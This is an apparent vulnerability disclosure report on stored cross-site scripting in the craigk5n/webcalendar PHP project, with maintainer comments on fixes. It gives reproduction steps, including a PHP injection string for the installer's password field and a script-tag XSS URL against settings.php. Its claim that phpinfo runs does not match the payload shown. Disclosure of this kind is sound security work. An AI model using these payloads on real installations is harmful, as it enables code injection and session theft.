Cross-site Scripting (XSS) - Stored in craigk5n/webcalendar
Reported on
Oct 1st 2021
Description
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script.
https://github.com/craigk5n/webcalendar/ is vulnerable to XSS as shown below:
Impact
Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.
Occurrences
index.php L745-L754
Snippet:
$settings['db_password'] = getPostValue( 'form_db_password' );
Variable: $settings['db_password']
Go to: http://localhost/webcalendar-master/install/index.php
In step 2, Insert in the Password field:
password*/ echo $_SERVER[PHP_SELF]; /*
Clic in Test Settings
Visit in a browser:
http://localhost/webcalendar-master/includes/settings.php/%3Cscript%3Ealert%60xss%60%3C/script%3E
Observe phpinfo is executed
Notes:
- edit_user_handler.php has been removed from the upcoming release. However, there were corresponding issues with the replacement code which will be resolved.
- the issues with install/index.php may be fixed later, but do not seem like a pressing issue. It assumes the admin user would put XSS into the db password when installing or upgrading
Just fixed the XSS in adding/editing users which still existing in v1.9.0 code with commit 38c32f73002ea965cac34f48806f1fb57a4b475a
@craigk5n - if possible, can you confirm the fix for this report?